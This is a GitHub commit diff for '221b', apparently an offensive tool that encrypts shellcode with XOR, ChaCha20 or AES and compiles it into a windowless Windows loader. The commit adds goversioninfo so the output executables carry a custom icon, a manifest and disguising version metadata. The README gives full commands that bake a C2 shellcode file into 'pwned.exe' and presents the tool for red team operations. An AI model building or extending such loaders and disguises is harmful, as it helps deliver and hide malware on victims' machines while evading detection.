Skip to content

Commit 04f18a4

Browse files
authored
[Feat] - Add goversioninfo (#12)
* working for xor * update keys * update readme * fix typo * fix --------- Co-authored-by: sanctuary <[email protected]>
1 parent 17a8ca7 commit 04f18a4

12 files changed

+141
-5
lines changed

README.md

+53-4
Original file line numberDiff line numberDiff line change
@@ -40,10 +40,59 @@ Global Flags:
4040

4141
```
4242

43-
## Example
43+
## Binary properties
44+
45+
It is possible to add a certain number of metadata as well as a logo via the folder named `misc`.
46+
47+
also remember to modify the `versioninfo.json` file at the root of the project
48+
49+
50+
here's a preview of the final rendering, so don't ignore this part when planning a red team operation.
51+
52+
![](/img/preview.png)
53+
54+
55+
## Possible execution methods
56+
57+
### XOR :
4458

4559
```shell
46-
221b bake -k shflfhje -s test.sh
60+
221b bake -k "@ShLkHms221b" -s /PathToShellcode/demon.bin -o pwned.exe
61+
[+] use xor encryption method
62+
[+] encrypting demon.bin
63+
[+] loading encrypted shell into payload
64+
[+] compiling binary
65+
go: added golang.org/x/crypto v0.11.0
4766
go: added golang.org/x/sys v0.10.0
48-
[+] file compiled to ./test.exe
49-
```
67+
[+] file compiled to pwned.exe
68+
```
69+
70+
### Chacha20
71+
72+
```shell
73+
221b bake -m chacha20 -k "0123456789ABCDEF1123345611111111" -s /PathToShellcode/demon.bin -o pwned.exe
74+
[+] use chacha20 encryption method
75+
[+] encrypting demon.bin
76+
[+] loading encrypted shell into payload
77+
[+] compiling binary
78+
go: added golang.org/x/crypto v0.11.0
79+
go: added golang.org/x/sys v0.10.0
80+
[+] file compiled to pwned.exe
81+
```
82+
83+
84+
### AES
85+
86+
```shell
87+
221b bake -m aes -k "0123456789ABCDEF1123345611111111" -s /PathToShellcode/demon.bin -o pwned.exe
88+
[+] use chacha20 encryption method
89+
[+] encrypting demon.bin
90+
[+] loading encrypted shell into payload
91+
[+] compiling binary
92+
go: added golang.org/x/crypto v0.11.0
93+
go: added golang.org/x/sys v0.10.0
94+
[+] file compiled to pwned.exe
95+
```
96+
97+
98+

img/preview.png

462 KB
Loading

loader/aes.go

+3
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,9 @@ func (a Aes) Load(content, key []byte) ([]byte, error) {
2020
"key": func() string {
2121
return string(key)
2222
},
23+
"basepath": func() string {
24+
return basepath
25+
},
2326
"shellcode": func() string {
2427
result := []string{}
2528

loader/chacha20.go

+3
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,9 @@ func (a ChaCha20) Load(content, key []byte) ([]byte, error) {
2020
"key": func() string {
2121
return string(key)
2222
},
23+
"basepath": func() string {
24+
return basepath
25+
},
2326
"shellcode": func() string {
2427
result := []string{}
2528

loader/loader.go

+16-1
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ package loader
22

33
import (
44
"fmt"
5+
"io/ioutil"
56
"os"
67
"os/exec"
78
"path/filepath"
@@ -31,6 +32,10 @@ const (
3132
tmpDir = "/tmp/221b-compile"
3233
)
3334

35+
var (
36+
basepath, _ = os.Getwd()
37+
)
38+
3439
func (b baseLoader) Compile(outputPath string, content []byte) error {
3540
if err := b.setupTmpDir(content); err != nil {
3641
return err
@@ -54,14 +59,18 @@ func (b baseLoader) Compile(outputPath string, content []byte) error {
5459
return err
5560
}
5661

62+
_ = b.execCmd(
63+
"go",
64+
"generate",
65+
)
66+
5767
err = b.execCmd(
5868
"go",
5969
"build",
6070
"-ldflags",
6171
"-s -w -H=windowsgui",
6272
"-o",
6373
relOutputPath,
64-
filepath.Join(tmpDir, tmpFile),
6574
)
6675
if err != nil {
6776
logger.Error(fmt.Errorf("failed to compile"))
@@ -92,6 +101,12 @@ func (b baseLoader) setupTmpDir(goFile []byte) error {
92101
return err
93102
}
94103

104+
data, err := ioutil.ReadFile(filepath.Join(basepath, "versioninfo.json"))
105+
if err != nil {
106+
panic(err)
107+
}
108+
_ = ioutil.WriteFile(filepath.Join(tmpDir, "versioninfo.json"), data, 0666)
109+
95110
if err := os.WriteFile(filepath.Join(tmpDir, tmpFile), goFile, 0666); err != nil {
96111
logger.Error(fmt.Errorf("could not write tmp file"))
97112
return err

loader/xor.go

+3
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,9 @@ func (x Xor) Load(content, key []byte) ([]byte, error) {
2020
"key": func() string {
2121
return string(key)
2222
},
23+
"basepath": func() string {
24+
return basepath
25+
},
2326
"shellcode": func() string {
2427
result := []string{}
2528

misc/goversioninfo.exe.manifest

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2+
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
3+
<assemblyIdentity
4+
type="win32"
5+
name="Github.com.JosephSpurrier.GoVersionInfo"
6+
version="1.0.0.0"
7+
processorArchitecture="*"/>
8+
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
9+
<security>
10+
<requestedPrivileges>
11+
<requestedExecutionLevel
12+
level="asInvoker"
13+
uiAccess="false"/>
14+
</requestedPrivileges>
15+
</security>
16+
</trustInfo>
17+
</assembly>

misc/pwned.ico

9.44 KB
Binary file not shown.

templates/aes.go

+1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package templates
22

33
var AesTmpl = `
4+
//go:generate goversioninfo -icon={{ basepath }}/misc/pwned.ico -manifest={{ basepath }}/misc/goversioninfo.exe.manifest
45
package main
56
67
import (

templates/chacha20.go

+1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package templates
22

33
var ChaCha20Tmpl = `
4+
//go:generate goversioninfo -icon={{ basepath }}/misc/pwned.ico -manifest={{ basepath }}/misc/goversioninfo.exe.manifest
45
package main
56
67
import (

templates/xor.go

+1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package templates
22

33
var XorTmpl = `
4+
//go:generate goversioninfo -icon={{ basepath }}/misc/pwned.ico -manifest={{ basepath }}/misc/goversioninfo.exe.manifest
45
package main
56
67
import (

versioninfo.json

+43
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
{
2+
"FixedFileInfo": {
3+
"FileVersion": {
4+
"Major": 1,
5+
"Minor": 0,
6+
"Patch": 0,
7+
"Build": 0
8+
},
9+
"ProductVersion": {
10+
"Major": 1,
11+
"Minor": 0,
12+
"Patch": 0,
13+
"Build": 0
14+
},
15+
"FileFlagsMask": "3f",
16+
"FileFlags ": "00",
17+
"FileOS": "040004",
18+
"FileType": "01",
19+
"FileSubType": "00"
20+
},
21+
"StringFileInfo": {
22+
"Comments": "Edit me, im malicious binary",
23+
"CompanyName": "221b",
24+
"FileDescription": "edit me, im a malware",
25+
"FileVersion": "4.0",
26+
"InternalName": "TheMalware",
27+
"LegalCopyright": "@TomChv / @Jenaye_fr",
28+
"LegalTrademarks": "",
29+
"OriginalFilename": "malicious.exe",
30+
"PrivateBuild": "",
31+
"ProductName": "Support",
32+
"ProductVersion": "v1.0.0.0",
33+
"SpecialBuild": ""
34+
},
35+
"VarFileInfo": {
36+
"Translation": {
37+
"LangID": "0409",
38+
"CharsetID": "04B0"
39+
}
40+
},
41+
"IconPath": "",
42+
"ManifestPath": ""
43+
}

0 commit comments

Comments
 (0)